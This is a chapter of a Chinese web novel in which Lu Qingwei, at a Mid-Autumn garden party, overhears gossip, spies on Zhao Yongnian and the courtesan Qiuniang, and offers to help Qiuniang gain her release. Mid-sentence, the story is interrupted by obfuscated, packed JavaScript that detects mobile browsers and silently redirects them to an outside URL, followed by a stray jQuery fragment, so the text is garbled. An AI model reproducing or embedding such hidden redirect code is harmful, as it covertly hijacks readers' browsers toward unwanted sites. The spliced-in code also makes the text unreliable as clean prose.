因是中秋月圆夜,这一夜坊市内外都比往日热闹,宵禁时间也往后延了延。
两侧街道灯火灿烂,从坊市头一直延伸到坊市尾,夜色被璀璨华光照的稀落,各处酒楼笙歌曼舞。
游园会在东市的秋香居办。
用过晚膳,陆清微才动身去往秋香居,她到的时候,秋香居已经来了不少人。
从秋香居正门进去,陆清微便已经听到里头丝竹悦耳。
往里在走一段,男男女女嬉笑声从水榭那儿传来,穿过一段游廊能看到花榭那儿有人对对子,行酒令。
今夜来的都是官家子弟,自幼饱读诗书,这样的场合自然少不了诗酒。
花榭左侧连着听雨轩,里面有人喝茶聊天。
听雨轩正中间放着箜篌琵琶还有古琴一类的乐器,显然是用来演奏的。
陆清微走了过去,找了个不起眼的角落坐下。
她刚一坐下便听到隔壁几位男郎议论人的小话。
碰巧。
他们议论的人陆清微还打过几回交道。
“今年谢大人还是不来。”
说话的人伸长了脖子到处张望,寻找谢平川的身影。
奈何一无所获。
另一人看笑话似的笑起来:“谢大人怎么可能出现?你说这中秋游园都办了快十年了,当初他适龄时都无心此事,如今年岁渐渐大了,更不可能来了。”
陆清微背靠栏杆坐在游廊的长椅上,她右腿屈膝踩着椅子边缘,手臂随意搁在膝盖上搭着,目光懒懒地扫过湖心的游船,似是不在意他们说了些什么。
“张兄此言差矣,正是如今年岁大了,才更该好好考虑终身大事,不是吗?”
张某摆摆手,饮一口茶道:“没那回事。谢平川要想成亲早成了,你说他当初刚到都城便已风光无限,多少人想招他做女婿?现今他都二十六了,大权在握,想攀他高枝的能少了?那时候他都不考虑婚姻之事,这会儿更不会想了。”
张某指了指天,补充道:“再者而言,听说五年前陛下曾经也暗暗提过要给他指婚。你想那可是陛下啊,若能得陛下赐婚,那是何等荣耀,谢平川不还是照样拒绝了。要我说,谢平川这辈子是成不了亲。”
“你可别瞎说,许是谢大人没遇到喜欢的姑娘罢了。”
“他眼光得有多高?陛下指的人他看不上,十二年来都城里的姑娘长成一波又一波,他还是看不上?”张某冷笑,忽然神秘兮兮起来,“我猜啊,他八成不喜欢女的,要么就是有隐疾,不想耽误人家姑娘。”
陆清微目光虽没落在那些人身上,但他们的一字一句她可听的清楚。
她暗暗抿嘴笑了下,又装作若无其事地看湖。
“嘘,这话可不敢乱说,万一传到他耳朵里,有你苦头吃的。”
经友人这么一提醒,张某才迟钝的意识到他刚才的言论有多大胆。
背后议论谢平川本已是胆大妄为,再加上编排谢平川……
若今夜这些话真传到谢平川耳朵里,他们不掉层皮才有鬼。
陆清微却觉得他们的担忧很多余。
且不说今夜这些话会不会传到谢平川耳朵里,便是真传到他耳朵里又能怎样?
谢平川多年不成亲,孤身一人至今,旁人议论他早都议论过了,他岂能不知情?
无非政务忙,懒得同这些人计较。
那伙人聊着聊着就转到别处去了。
陆清微仍在原处坐着。
视线一撇,陆清微的目光越过人群锁定那对一前一后走进秋香居的男女。
赵永年和丁佳薇。
每当赵永年回头和丁佳薇说话,丁佳薇总是一脸娇羞地看着他,说话时脸上也挂着盈盈笑意,轻声细语的。
陆清微盯着他们看了有一会儿。
忽然间,耳边传来乐声。
陆清微扭头看过去。
秋娘不知是何时来的,此刻正抱着琵琶奏乐。
陆清微挑了挑眉。
秋娘琵琶弹得好,乐声一出,秋香居中的人都看了过去。
有人遥遥望着秋娘惊呼:“那不是秋娘吗?今年游园会竟请了秋娘奏乐?”
“谁是秋娘?”
“就是醉春风那个头牌啊!那个不接客,也不给人弹曲儿的头牌秋娘。”
“秋香居多大的面子竟然可以请来秋娘奏乐?”
“还好我今日来了,要是没来,我也听不到秋娘弹琵琶,更见不到这样的美人。”
陆清微周围全是对秋娘的盛赞。
秋娘一心只顾弹琴,周围人的惊叹,她充耳不闻,对赵永年炙热的目光,她更是视而不见。
秋娘是被赵永年藏起来的情人。
今夜秋娘抛头露面,赵永年事前并不知。
事实上,赵永年已经快半个月没去过醉春风,也没见过秋娘。
陆清微看着赵永年的脸色越来越难看,笑了下。
事情变得有意思起来了。
丁佳薇也注意到了听雨轩这儿传过去的乐声,她问赵永年听雨轩里弹琵琶的姑娘是谁。
赵永年搪塞了一句不认识便急着把丁佳薇带去别的地方。
秋娘出现之后,陆清微就没挪过地方,一直在听雨轩里待着。
前两日去醉春风,陆清微听馨娘提过。
赵永年已经很久没去醉春风看秋娘,若是赵永年再不出现,下个月妈妈或许就要逼秋娘接客。
秋娘今日现身,必定是有打算的。
至于秋娘的打算是什么,陆清微暂时猜不准。
可有一点是肯定的。
秋娘今天既是为赵永年而来,那她必然是要见到他的。
一曲毕。
秋香居的侍女来传话,秋娘听完,跟上侍女走了。
陆清微悄悄跟了上去。
拐了几个弯,侍女把秋娘带到秋香居后面的一棵桂花树下。
赵永年就在树下等着。
把秋娘带到地方,侍女便转身退下。
赵永年很谨慎,特意往秋娘身后看了眼,确认过秋娘后面没人跟着才拉上秋娘的手腕躲到桂花树后面说话。
赵永年甩开秋娘的手,一开口就是质问:“你来这儿干什么?这是你能来的地方?”
秋娘沉默须臾才道:“赵郎君,你许久不来醉春风,我也是没了办法才找到这里。你已经半个月没去看我了,妈妈说若你再不来,下个月便要我挂牌子接客。”
其实上次清虚观一见,秋娘便隐隐有了预感。
她自幼长在风月之地,男女那点事看的太多。
她深知她和赵永年长久不了。
男子对女子古来便是薄情的更多。
好在她从未在赵永年身上抱有任何希望,所以也谈不上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178443|180834||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤心。
只是她还有最重要的事还没办,若就这么和赵永年断了是白白错失机会。
秋娘恳求道:“郎君,即便你厌了奴,想跟奴分开也不要紧,但请郎君看在奴跟了郎君一场的份上,帮帮奴。可否请郎君帮奴要一张脱籍文书?奴保证,日后定不纠缠郎君。”
赵永年却未否认他有意和秋娘疏远的打算,他指导:“不是我不帮你,而是我确实帮不了。若去找户部,此事必要惊动父亲。届时父亲知道你我的事情,定然要发怒。”
秋娘屈膝跪下,再一次哀求:“郎君,奴求您了。若奴脱不了籍,奴会死的。”
让她日日在不同的恩客身上承欢,这比杀了她还让她难受。
赵永年正欲开口,丁佳薇和侍女说话的声音突兀传来,他拉着秋娘往阴影处躲起来。
陆清微一直在暗处躲着,发现丁佳薇时她立时闪身躲起来。
只听院子外面,丁佳薇问她的侍女:“你看到赵小将军去哪儿了吗?”
“不曾看到。”
丁佳薇道:“奇了怪,刚才他还和我说话呢,怎么一转眼人就不见了。”
等丁佳薇走远了,赵永年才从阴影处现身,他对秋娘道:“明日,明日我定会去看你,你赶紧回去。万事明日再商量。”
他对秋娘有喜欢,但没有喜欢到可以让他自毁前程,放弃和门当户对的丁佳薇成婚。
赵永年没给秋娘说不的机会,撂下这一句就急匆匆离开。
秋娘愣在原地,犹如累赘的包袱被赵永年无情撇下。
站了会儿,秋娘苦笑一声,刚抬脚要走,却又被陆清微堵住。
秋娘警惕后退一步,她道:“你是谁?”
她觉得眼前这人有几分眼熟,仿佛在哪里见过,但突然之间却想不起来。
陆清微只字不提当初在清虚观救秋娘的那件事,她道:“姑娘想脱籍?”
秋娘蹙眉,不悦道:“你偷听我们说话?”
陆清微漫不经心抬眸:“不好意思,不是故意偷听,碰巧路过而已。”
秋娘不想理陆清微,绕开人就要走。
陆清微闪身再一次拦下秋娘:“女郎先别急着走。”
秋娘怒目看一眼陆清微:“你想威胁我?”
陆清微笑笑:“非也非也。我只是想帮姑娘。”
秋娘虽怀疑,却也有几分心动,她道:“帮我?”
“我有一计可助姑娘脱籍。”
秋娘没急着问是何计,而是先问了最关键的问题:“你帮我的动机是什么?”
陆清微看着秋娘,她忽然觉得秋娘美是美,但秋娘似乎只在赵永年面前美的艳丽,在旁人面前秋娘总是美的冷漠,好比寒冬冷梅,素白殊色傲立寒霜。
陆清微不紧不慢:“姑娘可以放心,我对姑娘没有恶意。只是和姑娘有缘,所以帮你。”
秋娘仍盯着陆清微,他看上去浓眉大眼,面目和善,不似坏人。
秋娘是不放心他的初衷,但也难掩心动:“何计?”
“姑娘只需要跟赵小将军讲一个故事,如此,赵小将军可以如愿,姑娘也可以。”
听此人语气,他对赵永年,对她似乎都很了解。
秋娘又一次问道:“你究竟是谁?”
她猛地想起九皇会那日在清虚观遇到的那个男子。
可不就是眼前之人?